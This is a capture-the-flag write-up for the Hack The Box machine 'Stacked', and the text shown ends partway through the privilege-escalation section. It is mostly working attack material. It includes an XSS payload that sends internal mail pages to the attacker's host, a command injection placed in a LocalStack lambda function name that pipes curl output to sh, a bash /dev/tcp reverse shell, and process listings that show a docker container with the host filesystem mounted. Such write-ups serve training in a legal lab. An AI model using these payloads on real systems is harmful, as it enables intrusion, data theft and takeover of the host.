Hack The Box - Stacked

info_card

User

Stacked is an insane reated machine on HackTheBox created by TheCyberGeek. For the user part we will abuse an XSS in a contact form referer header after fuzzing a vhost. Through this we discover an email on an internal page which reveals another vhost that is a localstack endpoint. The endpoint is vulnerable to command injection with user interaction in the lambda service. Combining this with the XSS we get a foothold in a docker container. Monitoring the creation of a valid lamdba function we will discover another command injection which gets us root on the docker this time. We then will use the certificates in the root folder to interact with the open docker port, mount the host filesystem in a container, write an ssh key to root’s authorized keys and grab the flag after logging in.

Nmap

As usual we start our enumeration off with a nmap scan against all ports followed by a script and version scan against the open ones to get an inital overview of the attack surface.

All ports

1
2
3
4
5
6
7
8
9
10
11
$ sudo nmap -p- -T4 10.129.223.207
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-19 09:20 GMT
Nmap scan report for 10.129.223.207
Host is up (0.049s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
2376/tcp open  docker

Nmap done: 1 IP address (1 host up) scanned in 53.93 seconds

Script and Version

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ sudo nmap -sC -sV -p22,80,2376 10.129.223.207
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-19 09:21 GMT
Nmap scan report for 10.129.223.207
Host is up (0.032s latency).

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 12:8f:2b:60:bc:21:bd:db:cb:13:02:03:ef:59:36:a5 (RSA)
|   256 af:f3:1a:6a:e7:13:a9:c0:25:32:d0:2c:be:59:33:e4 (ECDSA)
|_  256 39:50:d5:79:cd:0e:f0:24:d3:2c:f4:23:ce:d2:a6:f2 (ED25519)
80/tcp   open  http        Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://stacked.htb/
2376/tcp open  ssl/docker?
| ssl-cert: Subject: commonName=0.0.0.0
| Subject Alternative Name: DNS:localhost, DNS:stacked, IP Address:0.0.0.0, IP Address:127.0.0.1, IP Address:172.17.0.1
| Not valid before: 2021-07-17T15:37:02
|_Not valid after:  2022-07-17T15:37:02
Service Info: Host: stacked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.65 seconds

Internal mail

The nmap scan reveals a hostname which we add to our /etc/hosts and visit the page. It displays a very static looking page without much functionality.

stacked_home

Since there seem to be hostnames at play we next try to fuzz another vhost and find portfolio.stacked.htb.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ ffuf -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.stacked.htb' -u http://stacked.htb/ -fw 18

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://stacked.htb/
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.stacked.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response words: 18
________________________________________________

portfolio               [Status: 200, Size: 30268, Words: 11467, Lines: 445]
:: Progress: [114441/114441] :: Job [1/1] :: 295 req/sec :: Duration: [0:02:02] :: Errors: 0 ::

Visiting this page it lookes like a localstack development platform.

portfolio_home

Scrolling down we can download a docker-compose.yml which reveals some potential internal ports listening on the machine aswell as some services.

docker_compose

docker-compose.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
version: "3.3"

services:
  localstack:
    container_name: "${LOCALSTACK_DOCKER_NAME-localstack_main}"
    image: localstack/localstack-full:0.12.6
    network_mode: bridge
    ports:
      - "127.0.0.1:443:443"
      - "127.0.0.1:4566:4566"
      - "127.0.0.1:4571:4571"
      - "127.0.0.1:${PORT_WEB_UI-8080}:${PORT_WEB_UI-8080}"
    environment:
      - SERVICES=serverless
      - DEBUG=1
      - DATA_DIR=/var/localstack/data
      - PORT_WEB_UI=${PORT_WEB_UI- }
      - LAMBDA_EXECUTOR=${LAMBDA_EXECUTOR- }
      - LOCALSTACK_API_KEY=${LOCALSTACK_API_KEY- }
      - KINESIS_ERROR_PROBABILITY=${KINESIS_ERROR_PROBABILITY- }
      - DOCKER_HOST=unix:///var/run/docker.sock
      - HOST_TMP_FOLDER="/tmp/localstack"
    volumes:
      - "/tmp/localstack:/tmp/localstack"
      - "/var/run/docker.sock:/var/run/docker.sock"

Further down is also a contact form and it was mentioned above that any messages will be checked around the clock. This seems like a good point to check for XSS.

contact_form

We fill out the form, intercept the request with burp, send it to repeater and stand up a ncat listener to capture the user request if we are successfull.

1
2
3
4
$ sudo nc -lnvp 80
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80

Trying for XSS in the the subject first, there seems to be a blacklist being implemented.

xss_protection

The Referer header doesn’t seem to be checked though and sending a simple payload we get a hit about one minute later on our listener.

xss_referer

The request reveals an internal webpage in its own referer header which we can try to exfiltrate in the next step. Note here that one of the parameters seems like it needs to be unique for every request so we will just add a letter to the parameters with each request.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ sudo nc -lnvp 80
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.129.223.207.
Ncat: Connection from 10.129.223.207:36352.
GET /a.js HTTP/1.1
Host: 10.10.14.70
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://mail.stacked.htb/read-mail.php?id=2
Connection: keep-alive

We want to load a script in the users browser which sends a request to http://mail.stacked.htb/ and sends the base64 encoded response back to us. This can be achived with two XML HTTP Requests’s, one getting the page, the other sending the data back to us.

a.js

1
2
3
4
5
6
7
8
9
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://mail.stacked.htb/', false);
xhr.send();

var data = xhr.responseText

var exfil = new XMLHttpRequest();
exfil.open('GET', 'http://10.10.14.70/?a='+ btoa(data), true);
exfil.send();

After standing up a python webserver to serve our js payload we can now send the request in repeater.

1
2
1
2
1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

mail_home

About a minute later we get a hit for our a.js and a few seconds later it returns the base64 encoded source code of the internal website.

1
2
3
4
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.223.207 - - [19/Sep/2021 10:08:04] "GET /a.js HTTP/1.1" 200 -
10.129.223.207 - - [19/Sep/2021 10:08:40] "GET /?a=PCFET0NUW...[snip]...0bWw+Cg== HTTP/1.1" 200 -

Looking at it there is another email from Jeremy which looks interesting.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>AdminLTE 3 | Mailbox</title>

  <!-- Google Font: Source Sans Pro -->
  <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700&display=fallback">
  <!-- Font Awesome -->
  <link rel="stylesheet" href="plugins/fontawesome-free/css/all.min.css">
  <!-- icheck bootstrap -->
  <link rel="stylesheet" href="plugins/icheck-bootstrap/icheck-bootstrap.min.css">
  <!-- Theme style -->
  <link rel="stylesheet" href="dist/css/adminlte.min.css">
</head>
<body class="hold-transition sidebar-mini">

...[snip]...

 		<tr>
		  <td>
 		    <div class="icheck-primary">
 		      <input type="checkbox" value="" id="check1">
 			<label for="check1"></label>
 		    </div>
                  </td>
		  <td class="mailbox-star"><a href="#"><i class="fas fa-star text-warning"></i></a></td>
 		  <td class="mailbox-name"><a href="read-mail.php?id=1">Jeremy Taint</a></td>
 		  <td class="mailbox-subject"><b>S3 Instance Started</b></td>
		  <td class="mailbox-attachment"></td>
 		  <td class="mailbox-date">2021-06-25 08:30:00</td>
 		</tr>

 		<tr>
		  <td>
 		    <div class="icheck-primary">
 		      <input type="checkbox" value="" id="check1">
 			<label for="check1"></label>
 		    </div>
                  </td>
		  <td class="mailbox-star"><a href="#"><i class="fas fa-star text-warning"></i></a></td>
 		  <td class="mailbox-name"><a href="read-mail.php?id=2">sab</a></td>
 		  <td class="mailbox-subject"><b>sab</b></td>
		  <td class="mailbox-attachment"></td>
 		  <td class="mailbox-date">2021-09-19 10:08:02</td>
 		</tr>
		
...[snip]...

</body>
</html>

We adjust our a.js to now fetch http://mail.stacked.htb/read-mail.php?id=1 and repeat the steps from before.

a.js

1
2
3
4
5
6
7
8
9
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://mail.stacked.htb/read-mail.php?id=1', false);
xhr.send();

var data = xhr.responseText

var exfil = new XMLHttpRequest();
exfil.open('GET', 'http://10.10.14.70/?a='+ btoa(data), true);
exfil.send();

mail_email

We get a hit about one minuter later again and the source follows a few seconds later aswell.

1
2
3
4
5
6
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.223.207 - - [19/Sep/2021 10:08:04] "GET /a.js HTTP/1.1" 200 -
10.129.223.207 - - [19/Sep/2021 10:08:40] "GET /?a=PCFET0NUW...[snip]...0bWw+Cg== HTTP/1.1" 200 -
10.129.223.207 - - [19/Sep/2021 10:14:04] "GET /a.js HTTP/1.1" 200 -
10.129.223.207 - - [19/Sep/2021 10:14:40] "GET /?a=PCFET0NUW...[snip]...odG1sPgo= HTTP/1.1" 200 -

The email states that there is an S3 instance set up at s3-testing.stacked.htb and we can use a serverless instance using node to work from.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>AdminLTE 3 | Read Mail</title>

  <!-- Google Font: Source Sans Pro -->
  <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700&display=fallback">
  <!-- Font Awesome -->
  <link rel="stylesheet" href="plugins/fontawesome-free/css/all.min.css">
  <!-- Theme style -->
  <link rel="stylesheet" href="dist/css/adminlte.min.css">
</head>
<body class="hold-transition sidebar-mini">

...[snip]...

              <!-- /.mailbox-controls -->
              <div class="mailbox-read-message">
                <p>Hey Adam, I have set up S3 instance on s3-testing.stacked.htb so that you can configure the IAM users, roles and permissions. I have initialized a serverless instance for you to work from but keep in mind for the time being you can only run node instances. If you need anything let me know. Thanks.</p>
              </div>
              <!-- /.mailbox-read-message -->

...[snip]...

</body>
</html>

Localstack command injection

Adding the vhost to our /etc/hosts we can enumerate running services on the endpoint with /health.

1
2
$ curl http://s3-testing.stacked.htb/health
{"services": {"cloudformation": "running", "cloudwatch": "running", "dynamodb": "running", "dynamodbstreams": "running", "iam": "running", "sts": "running", "kinesis": "running", "lambda": "running", "logs": "running", "s3": "running", "apigateway": "running"}}

Checking for possible vulnerabilities in localstack lambda seems to be quite interesting. Following this article it seems like we can inject commands into a lambda function name. The only condition for this to work is that a user refreshes the dashboard which we can control with the found XSS. Using this snippet from github we can create our own simple function interacting with the endpoint using aws-cli. First we need to zip up the lambda.js from the repository, which basically just creates a function app printing Hello World.

lambda.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
'use strict'

const apiHandler = (payload, context, callback) => {
    console.log(`Function apiHandler called with payload ${JSON.stringify(payload)}`);
    callback(null, {
        statusCode: 201,
        body: JSON.stringify({
            message: 'Hello World'
        }),
        headers: {
            'X-Custom-Header': 'ASDF'
        }
    });
}

module.exports = {
    apiHandler,
}
1
2
$ zip api-handler.zip lambda.js
  adding: lambda.js (deflated 40%)

Next we have to create the javascript for the XSS wich redirects the user to the dashboard we’ve seen in the dockerfile.

b.js

1
2
3
4
const look = () =>{
    document.location = 'http://127.0.0.1:8080';
};
look();

Now we can stand up a python webserver for the javascript payload and our reverse shell payload in index.html. We also listen with ncat to catch our reverse shell.

1
2
1
2
1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

index.html

1
2
3
#!/bin/sh

bash -c 'bash -i >& /dev/tcp/10.10.14.70/443 0>&1'
1
2
3
4
1
2
3
4
$ sudo nc -lnvp 443
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443

Now we can create a function app with the command injection payload in the name and quickly send the request for the XSS in burp.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ aws lambda --endpoint=http://s3-testing.stacked.htb create-function --region eu-west-1 --function-name "api;curl\${IFS}10.10.14.70|sh;" --runtime nodejs8.10 --handler lambda.apiHandler --memory-size 128 --zip-file fileb://api-handler.zip --role arn:aws:iam::123456
:role/irrelevant
{
    "FunctionName": "api;curl${IFS}10.10.14.70|sh;",
    "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:api;curl${IFS}10.10.14.70|sh;",
    "Runtime": "nodejs8.10",
    "Role": "arn:aws:iam::123456:role/irrelevant",
    "Handler": "lambda.apiHandler",                                                                                                                                                                                                                                               "CodeSize": 405,
    "Description": "",
    "Timeout": 3,
    "MemorySize": 128,
    "LastModified": "2021-09-19T11:14:20.246+0000",
    "CodeSha256": "cf7lCPC48yh6PnJLXPm9O1nR7PoGIQ1sd7V2loQc2dY=",
    "Version": "$LATEST",
    "VpcConfig": {},
    "TracingConfig": {
        "Mode": "PassThrough"
    },
    "RevisionId": "37b8ed40-be33-484a-899a-57105cb09413",
    "State": "Active",
    "LastUpdateStatus": "Successful",
    "PackageType": "Zip"
}

lambda_rce

After about a minute again we first get a hit for the javascript payload and soon afterwards for our reverse shell.

1
2
3
4
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.223.207 - - [19/Sep/2021 11:16:03] "GET /b.js HTTP/1.1" 200 -
10.129.223.207 - - [19/Sep/2021 11:16:44] "GET / HTTP/1.1" 200 -

We upgrade the reverse shell using python, fix the terminal size and can now grab the user flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ sudo nc -lnvp 443
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.129.223.207.
Ncat: Connection from 10.129.223.207:52390.
bash: cannot set terminal process group (22): Not a tty
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
bash-5.0$ python -c 'import pty;pty.spawn("/bin/sh")'
python -c 'import pty;pty.spawn("/bin/sh")'
/opt/code/localstack $ export TERM=xterm
export TERM=xterm
/opt/code/localstack $ ^Z
[1]+  Stopped                 sudo nc -lnvp 443
$ stty raw -echo;fg
sudo nc -lnvp 443

/opt/code/localstack $ stty rows 55 cols 236
/opt/code/localstack $ wc -c /home/localstack/user.txt
33 /home/localstack/user.txt

Root

Command injection # 2

After looking around in the container there does not seem an obvious way to privesc, so the best shot might be to take a close look at the localstack functionalities. Using the github repository again we create a fully functioning lambda app and monitor on the docker with pspy for process creation.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
/tmp $ ./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░
                   ░           ░ ░
                               ░ ░

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2021/09/19 11:39:15 CMD: UID=0    PID=93     | java -Djava.library.path=./DynamoDBLocal_lib -Xmx256m -jar DynamoDBLocal.jar -port 47861 -dbPath /var/localstack/data/dynamodb
2021/09/19 11:39:15 CMD: UID=1001 PID=5833   | ./pspy64
2021/09/19 11:39:15 CMD: UID=0    PID=5814   | /bin/sh
2021/09/19 11:39:15 CMD: UID=1001 PID=5588   | /bin/sh
2021/09/19 11:39:15 CMD: UID=1001 PID=5587   | python -c import pty;pty.spawn("/bin/sh")
2021/09/19 11:39:15 CMD: UID=1001 PID=5583   | bash -i
2021/09/19 11:39:15 CMD: UID=1001 PID=5582   | bash -c bash -i >& /dev/tcp/10.10.14.70/443 0>&1
2021/09/19 11:39:15 CMD: UID=1001 PID=5581   | sh
2021/09/19 11:39:15 CMD: UID=1001 PID=5574   | /bin/sh -c { test `which aws` || . .venv/bin/activate; }; aws --endpoint-url="http://localhost:4566" lambda list-event-source-mappings --function-name api;curl${IFS}10.10.14.70|sh;
2021/09/19 11:39:15 CMD: UID=0    PID=4830   | docker run -v /:/mnt/host --entrypoint sh -it 0601ea177088
2021/09/19 11:39:15 CMD: UID=0    PID=280    | /bin/sh
2021/09/19 11:39:15 CMD: UID=1001 PID=26     | python bin/localstack web
2021/09/19 11:39:15 CMD: UID=0    PID=25     | python bin/localstack start --host
2021/09/19 11:39:15 CMD: UID=1001 PID=24     | make web
2021/09/19 11:39:15 CMD: UID=0    PID=23     | make infra
2021/09/19 11:39:15 CMD: UID=0    PID=226    | /bin/bash
2021/09/19 11:39:15 CMD: UID=0    PID=225    | python -c import pty;pty.spawn("/bin/bash")
2021/09/19 11:39:15 CMD: UID=0    PID=224    | nc 10.10.14.70 443
2021/09/19 11:39:15 CMD: UID=0    PID=223    | /bin/sh -i
2021/09/19 11:39:15 CMD: UID=0    PID=222    | cat /tmp/f
2021/09/19 11:39:15 CMD: UID=1001 PID=22     | bash -c if [ "$START_WEB" = "0" ]; then exit 0; fi; make web
2021/09/19 11:39:15 CMD: UID=0    PID=212    |
2021/09/19 11:39:15 CMD: UID=0    PID=18     | tail -qF /tmp/localstack_infra.log /tmp/localstack_infra.err
2021/09/19 11:39:15 CMD: UID=0    PID=16     | /usr/bin/python3.8 /usr/bin/supervisord -c /etc/supervisord.conf
2021/09/19 11:39:15 CMD: UID=0    PID=108    | node /opt/code/localstack/localstack/node_modules/kinesalite/cli.js --shardLimit 100 --port 43843 --createStreamMs 500 --deleteStreamMs 500 --updateStreamMs 500 --path /var/localstack/data/kinesis
2021/09/19 11:39:15 CMD: UID=0    PID=1      | /bin/bash /usr/local/bin/docker-entrypoint.sh

We can take the setup.sh from the repository, remove the fail checks, exchange the awslocal command for aws, add our endpoint to the aws commands and remove the id in the later path parameters to avoid errors.

setup.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/sh

API_NAME="processes"
REGION=eu-west-1
STAGE=test


aws lambda create-function \
    --endpoint=http://s3-testing.stacked.htb \
    --region ${REGION} \
    --function-name ${API_NAME} \
    --runtime nodejs8.10 \
    --handler lambda.apiHandler \
    --memory-size 128 \
    --zip-file fileb://api-handler.zip \
    --role arn:aws:iam::123456:role/irrelevant

LAMBDA_ARN=$(aws lambda list-functions --endpoint=http://s3-testing.stacked.htb --query "Functions[?FunctionName==\`${API_NAME}\`].FunctionArn" --output text --region ${REGION})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

aws apigateway create-rest-api \
    --endpoint=http://s3-testing.stacked.htb \
    --region ${REGION} \
    --name ${API_NAME}


API_ID=$(aws apigateway get-rest-apis --endpoint=http://s3-testing.stacked.htb --query "items[?name==\`${API_NAME}\`].id" --output text --region ${REGION})
PARENT_RESOURCE_ID=$(aws apigateway get-resources --endpoint=http://s3-testing.stacked.htb --rest-api-id ${API_ID} --query 'items[?path==`/`].id' --output text --region ${REGION})

aws apigateway create-resource \
    --endpoint=http://s3-testing.stacked.htb \
    --region ${REGION} \
    --rest-api-id ${API_ID} \
    --parent-id ${PARENT_RESOURCE_ID} \
    --path-part "{somethingId}"

RESOURCE_ID=$(aws apigateway get-resources --endpoint=http://s3-testing.stacked.htb --endpoint=http://s3-testing.stacked.htb --rest-api-id ${API_ID} --query 'items[?path==`/{somethingId}`].id' --output text --region ${REGION})

aws apigateway put-method \
    --endpoint=http://s3-testing.stacked.htb \
    --region ${REGION} \
    --rest-api-id ${API_ID} \
    --resource-id ${RESOURCE_ID} \
    --http-method GET \
    --request-parameters "method.request.path.somethingId=true" \
    --authorization-type "NONE" \


aws apigateway put-integration \
    --endpoint=http://s3-testing.stacked.htb \
    --region ${REGION} \
    --rest-api-id ${API_ID} \
    --resource-id ${RESOURCE_ID} \
    --http-method GET \
    --type AWS_PROXY \
    --integration-http-method POST \
    --uri arn:aws:apigateway:${REGION}:lambda:path/2015-03-31/functions/${LAMBDA_ARN}/invocations \
    --passthrough-behavior WHEN_NO_MATCH \


aws apigateway create-deployment \
    --endpoint=http://s3-testing.stacked.htb \
    --region ${REGION} \
    --rest-api-id ${API_ID} \
    --stage-name ${STAGE} \


ENDPOINT=http://s3-testing.stacked.htb/restapis/${API_ID}/${STAGE}/_user_request_/HowMuchIsTheFish

echo "API available at: ${ENDPOINT}"
echo "Testing GET:"
curl -i ${ENDPOINT}

Running the script the lambda app gets successfully created and the end of the script verifies it exists.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
$./setup.sh
{
    "FunctionName": "processes",
    "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:processes",
    "Runtime": "nodejs8.10",
    "Role": "arn:aws:iam::123456:role/irrelevant",
    "Handler": "lambda.apiHandler",
    "CodeSize": 405,
    "Description": "",
    "Timeout": 3,
    "MemorySize": 128,
    "LastModified": "2021-09-19T11:40:20.278+0000",
    "CodeSha256": "6jk3Fx3fKCfj+kwwVgxY4sqLbU3PxGNXE1PbsJ5EIh8=",
    "Version": "$LATEST",
    "VpcConfig": {},
    "TracingConfig": {
        "Mode": "PassThrough"
    },
    "RevisionId": "d8f63f2f-80d8-400d-b0bd-d1828ec648b1",
    "State": "Active",
    "LastUpdateStatus": "Successful",
    "PackageType": "Zip"
}
{
    "id": "340nq8c7rx",
    "name": "processes",
    "createdDate": 1632051621,
    "apiKeySource": "HEADER",
    "endpointConfiguration": {
        "types": [
            "EDGE"
        ]
    },
    "tags": {},
    "disableExecuteApiEndpoint": false
}
{
    "id": "ve1kigf37i",
    "parentId": "oq4xyd584l",
    "pathPart": "{somethingId}",
    "path": "/{somethingId}"
}
{
    "httpMethod": "GET",
    "authorizationType": "NONE",
    "apiKeyRequired": false
}
{
    "type": "AWS_PROXY",
    "httpMethod": "POST",
    "uri": "arn:aws:apigateway:eu-west-1:lambda:path/2015-03-31/functions/arn:aws:lambda:us-east-1:000000000000:function:processes/invocations",
    "requestParameters": {},
    "passthroughBehavior": "WHEN_NO_MATCH",
    "cacheNamespace": "b573d621",
    "cacheKeyParameters": [],
    "integrationResponses": {
        "200": {
            "statusCode": 200,
            "responseTemplates": {
                "application/json": null
            }
        }
    }
}
{
    "id": "a0gamb3js4",
    "description": "",
    "createdDate": 1632051623
}
API available at: http://s3-testing.stacked.htb/restapis/340nq8c7rx/test/_user_request_/HowMuchIsTheFish
Testing GET:
HTTP/1.1 201
Date: Sun, 19 Sep 2021 11:40:25 GMT
Server: hypercorn-h11
content-type: text/html; charset=utf-8
content-length: 25
x-custom-header: ASDF
access-control-allow-origin: *
access-control-allow-methods: HEAD,GET,PUT,POST,DELETE,OPTIONS,PATCH
access-control-allow-headers: authorization,content-type,content-length,content-md5,cache-control,x-amz-content-sha256,x-amz-date,x-amz-security-token,x-amz-user-agent,x-amz-target,x-amz-acl,x-amz-version-id,x-localstack-target,x-amz-tagging
access-control-expose-headers: x-amz-version-id

{"message":"Hello World"}

Checking on pspy now we see what is happening on the backend. A docker get’s created for the app and one command is executed with sh -c. Inside this command is a parameter which gets the handler variable passed we specified in setup.sh. This looks like a perfect opportunity for another command injection.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/tmp $ ./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░
                   ░           ░ ░
                               ░ ░

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2021/09/19 11:39:15 CMD: UID=0    PID=93     | java -Djava.library.path=./DynamoDBLocal_lib -Xmx256m -jar DynamoDBLocal.jar -port 47861 -dbPath /var/localstack/data/dynamodb
2021/09/19 11:39:15 CMD: UID=1001 PID=5833   | ./pspy64
2021/09/19 11:39:15 CMD: UID=0    PID=5814   | /bin/sh
2021/09/19 11:39:15 CMD: UID=1001 PID=5588   | /bin/sh
2021/09/19 11:39:15 CMD: UID=1001 PID=5587   | python -c import pty;pty.spawn("/bin/sh")
2021/09/19 11:39:15 CMD: UID=1001 PID=5583   | bash -i
2021/09/19 11:39:15 CMD: UID=1001 PID=5582   | bash -c bash -i >& /dev/tcp/10.10.14.70/443 0>&1
2021/09/19 11:39:15 CMD: UID=1001 PID=5581   | sh
2021/09/19 11:39:15 CMD: UID=1001 PID=5574   | /bin/sh -c { test `which aws` || . .venv/bin/activate; }; aws --endpoint-url="http://localhost:4566" lambda list-event-source-mappings --function-name api;curl${IFS}10.10.14.70|sh;
2021/09/19 11:39:15 CMD: UID=0    PID=4830   | docker run -v /:/mnt/host --entrypoint sh -it 0601ea177088
2021/09/19 11:39:15 CMD: UID=0    PID=280    | /bin/sh
2021/09/19 11:39:15 CMD: UID=1001 PID=26     | python bin/localstack web
2021/09/19 11:39:15 CMD: UID=0    PID=25     | python bin/localstack start --host
2021/09/19 11:39:15 CMD: UID=1001 PID=24     | make web
2021/09/19 11:39:15 CMD: UID=0    PID=23     | make infra
2021/09/19 11:39:15 CMD: UID=0    PID=226    | /bin/bash
2021/09/19 11:39:15 CMD: UID=0    PID=225    | python -c import pty;pty.spawn("/bin/bash")
2021/09/19 11:39:15 CMD: UID=0    PID=224    | nc 10.10.14.70 443
2021/09/19 11:39:15 CMD: UID=0    PID=223    | /bin/sh -i
2021/09/19 11:39:15 CMD: UID=0    PID=222    | cat /tmp/f
2021/09/19 11:39:15 CMD: UID=1001 PID=22     | bash -c if [ "$START_WEB" = "0" ]; then exit 0; fi; make web
2021/09/19 11:39:15 CMD: UID=0    PID=212    |
2021/09/19 11:39:15 CMD: UID=0    PID=18     | tail -qF /tmp/localstack_infra.log /tmp/localstack_infra.err
2021/09/19 11:39:15 CMD: UID=0    PID=16     | /usr/bin/python3.8 /usr/bin/supervisord -c /etc/supervisord.conf
2021/09/19 11:39:15 CMD: UID=0    PID=108    | node /opt/code/localstack/localstack/node_modules/kinesalite/cli.js --shardLimit 100 --port 43843 --createStreamMs 500 --deleteStreamMs 500 --updateStreamMs 500 --path /var/localstack/data/kinesis
2021/09/19 11:39:15 CMD: UID=0    PID=1      | /bin/bash /usr/local/bin/docker-entrypoint.sh
2021/09/19 11:40:20 CMD: UID=0    PID=5847   | unzip -o -q /tmp/localstack/zipfile.28a09a0a/original_lambda_archive.zip
